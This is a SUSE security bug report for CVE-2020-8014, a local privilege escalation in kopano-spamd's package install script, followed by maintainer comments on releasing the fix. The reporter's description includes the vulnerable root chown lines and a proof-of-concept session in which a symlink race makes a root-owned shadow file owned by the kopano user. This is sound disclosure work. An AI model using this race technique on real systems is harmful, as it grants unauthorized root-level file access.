

Bug 1164131 (CVE-2020-8014) VUL 0: CVE-2020-8014: kopano-python-services: Local privilege escalation from kopano to root in kopano-spamd subpackage

Status: RESOLVED FIXED

Classification: Novell Products

Product: SUSE Security Incidents

Component: Incidents

Version: unspecified

Hardware: Other Other

Priority: P3 - Medium

Severity: Normal

Target Milestone: ---

Assigned To: Security Team bot

QA Contact: Security Team bot

URL:

Whiteboard:

Keywords:

Depends on:

Blocks: 1154062

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Create test case

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Reported: 2020-02-18 14:53 UTC by Johannes Segitz

Modified: 2020-06-24 13:21 UTC (History)

CC List: 2 users (show)

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Attachments

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Johannes Segitz 2020-02-18 14:53:52 UTC

Description

```
300 %post --n kopano-spamd
301 chown -Rh kopano:kopano /var/log/kopano 2>/dev/null || :
302 chown kopano:kopano /var/lib/kopano/spamd 2>/dev/null || :

chown runs as root, /var/lib/kopano is controlled by user kopano. By watching for
the change in /var/log/kopano I can easily time when to change
/var/lib/kopano/spamd to a symlink.

POC:
sh-5.0$ id
uid=464(kopano) gid=463(kopano) groups=463(kopano)
sh-5.0$ ls -l /test/shadow
-rwxr-x--- 1 root root 1249 Feb 18 14:31 /test/shadow
sh-5.0$ ./poc_kopano /var/log/kopano/ /var/lib/kopano/
[+] watching /var/log/kopano/
[+] added link
total 12K
drwxr-xr-x 2 root root 4.0K Feb 18 14:31 .
drwxr-xr-x 23 root root 4.0K Feb 18 14:31 ..
-rwxr-x--- 1 kopano kopano 1.3K Feb 18 14:31 shadow

Once poc_kopano runs force reinstallation of kopano-spamd as root:
zypper in -f kopano-spamd

poc_kopano uses inotify to watch /var/log/kopano and symlinks /test/shadow to
/var/lib/kopano/spamd once it see's the first chown
```

Johannes Segitz 2020-02-18 14:55:12 UTC

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Jan Engelhardt 2020-02-18 15:27:35 UTC

Comment 2

What is the actual bug? Is it the scriptlet chown/chmod? Is there other issues outside the specfile?

Johannes Segitz 2020-02-18 16:09:45 UTC

Comment 3

(In reply to Jan Engelhardt from [comment #2](#))

The usage of chown in the user controlled path is the issue

```
302 chown kopano:kopano /var/lib/kopano/spamd 2>/dev/null || :
```

For the recursive chown there's another bug, but that will not receive a CVE since it's not exploitable on default systems

Johannes Segitz 2020-02-25 07:37:31 UTC

(In reply to Jan Engelhardt from [comment #2](#))
Sorry for the confusion. I made [comment 0](#) public. I assumed you as assignee can see it even if it's private, but apparently not

[Comment 5](#)

Johannes Segitz 2020-05-13 08:17:47 UTC

Please note that this will be made public soon, please submit. Thank you

[Comment 6](#)

Jan Engelhardt 2020-06-09 19:06:05 UTC

waiting in openSUSE:Maintenance:12676

[Comment 7](#)

Jan Engelhardt 2020-06-24 12:06:39 UTC

Is there anything else I need to do here to get this moving?

[Comment 8](#)

Marcus Meissner 2020-06-24 12:16:23 UTC

openqa was stuck:

https://openqa.opensuse.org/tests/1281592#step/qam_zypper_patch/12

0| 2020-05-28 12:38:41 <1> linux-fyje(4409) [zypp::solver]
SATResolver.cc(problems):1183 libkcarchivercore0-8.6.0.0-lp151.2.5.x86_64 requires
libmapi.so.1(KC_8.6) (64bit), but this requirement cannot be provided

I think its ok to release, i will override openqa.

[Comment 9](#)

Marcus Meissner 2020-06-24 13:21:02 UTC

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